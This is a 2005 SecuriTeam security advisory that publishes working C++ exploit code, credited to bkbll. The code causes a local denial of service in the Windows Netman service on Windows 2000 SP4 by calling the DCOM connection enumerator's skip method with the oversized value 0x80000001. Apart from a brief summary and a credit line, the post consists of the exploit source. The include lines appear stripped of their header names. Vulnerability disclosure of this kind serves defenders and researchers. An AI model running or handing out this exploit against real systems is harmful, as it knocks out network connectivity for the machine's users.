[EXPL] Windows Netman Service Local DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/05

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Date: 21 Jul 2005 13:45:18 +0200

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      Windows Netman Service Local DoS
    ------------------------------------------------------------------------

    SUMMARY

     <Windows Netman service> Windows Netman service controlls the machine's
    network connections. Presented in this article is a local denial of
    service exploit that can be used against Netman service.

    DETAILS

    Exploit Code:
    //netmandos.cpp
    /* Windows Netman Service Local DOS Vulnerability.
    *
    * By bkbll bkbll#cnhonker.net 2005-7-14 2:49
    *
    * TESTED ON win2k sp4
    *
    * Netman svchost.exe -k netsvcs:
    *
    * EventSystem,Irmon,RasMan,NtmsSvc,SENS
    *
    */
    #define _WIN32_DCOM

    #include
    #include
    #include
    #include
    #include

    #pragma comment(lib,"ole32")

    MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
    VCConnectionManagerEnumConnection //: public IDispatch
    {
    public:
    virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
    virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
    virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
    virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
    virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
    };
    CLSID CLSID_ConnectionManagerEnumConnection =
    {0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27,
    0x0E}};
    IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0,
    0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

    main(int argc,char **argv)
    {
    VCConnectionManagerEnumConnection *clientcall;
    HRESULT hr;

    printf("Windows Netman Service Local DOS Vulnerability..\n\n");

    CoInitializeEx(NULL,COINIT_MULTITHREADED);

    printf("DCOM Client Trying started\n");
    hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection, NULL,
    CLSCTX_LOCAL_SERVER, IID_IEnumNetConnection, (void**)&clientcall);
    if (hr != S_OK)
    {
    printf("CoCreateInstanceEx failed:%d\n",GetLastError());
    return -1;
    }
    printf("Exploit netman service ....\n");
    hr = clientcall->skip(0x80000001);//(void**)&p);
    if(SUCCEEDED(hr))
    {
    printf("Call client proc Success.\n");
    }
    else
    printf("Call client proc failed:%d\n",GetLastError());
    hr = clientcall->Release();
    CoUninitialize();
    printf("Client exited.\n");
    return 1;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.

    ========================================

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